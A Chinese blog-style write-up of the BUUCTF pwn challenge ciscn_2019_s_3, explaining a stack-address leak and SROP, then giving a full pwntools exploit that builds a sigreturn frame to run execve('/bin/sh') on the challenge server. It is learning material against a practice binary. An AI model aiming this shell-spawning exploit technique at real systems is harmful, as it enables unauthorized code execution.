buuctf ciscn_2019_s_3

这题对还是萌新的我来说有点难,用的SROP

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
可以看到gadget函数里rax可以从两个值里选一个,选3b就是rop,选0f就是srop。本题因为vul里没有leave,只有ret,所以溢出为0x10
在这里插入图片描述
在送过去p1 = flat([’/bin/sh\x00’, ‘b’*8, read_write])之后,可以得到0x30个字符的回应。通过把断点下在write(0x400503),然后调试,可以接收到0x30个字符,其中0x20到0x28是一个栈上的地址,我们可以用它来确定/bin/sh的位置。
那我们需要确定栈的位置和栈的偏移。
栈的位置我们可以通过main函数的参数argv[0]得到,就是程序一开始时候的rsi,偏移只要我们输入数据之后(aaaa),find aaaa找到他的地址,然后相减就可以了
0x7fffffffe068 - 0x7fffffffdf50 = 0x118,那么我们接收到的地址-0x118就是我们/bin/sh的地址了。
为了溢出,我们要写’/bin/sh\x00’凑足8个字符。

exp:

from pwn import *
from LibcSearcher import * 

local_file  = './ciscn_s_3'
#local_libc  = '/lib/x86_64-linux-gnu/libc.so.6'
#remote_libc = './libc.so.6'

select = 1

if select == 0:
    r = process(local_file)
    #libc = ELF(local_libc)
else:
    r = remote('node3.buuoj.cn', 25236)
    #libc = ELF(remote_libc)

elf = ELF('./ciscn_s_3')

context.log_level = 'debug'
context.arch = elf.arch

se      = lambda data               :r.send(data) 
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims, drop=True  :r.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))

def debug(cmd=''):
    if is_local: gdb.attach(r,cmd)


sigreturn = 0x4004DA
system_call = 0x0400517
read_write = 0x4004F1
main_addr = elf.sym['main']

p1 = flat(['/bin/sh\x00', 'b'*8, read_write])
sl(p1)
rc(32)
binsh_addr = u64(rc(8)) - 0x118
rc(8)

frame = SigreturnFrame()
frame.rax = constants.SYS_execve 
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = system_call

p2 = flat(['a'*0x10, sigreturn, system_call, frame])
sl(p2)


r.interactive()

read_write是为了重新运行,送p2,p2的构造就是srop,溢出,syscall的序号,使用syscall,然后保证frame在栈顶,我们这frame使用execve这个函数

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值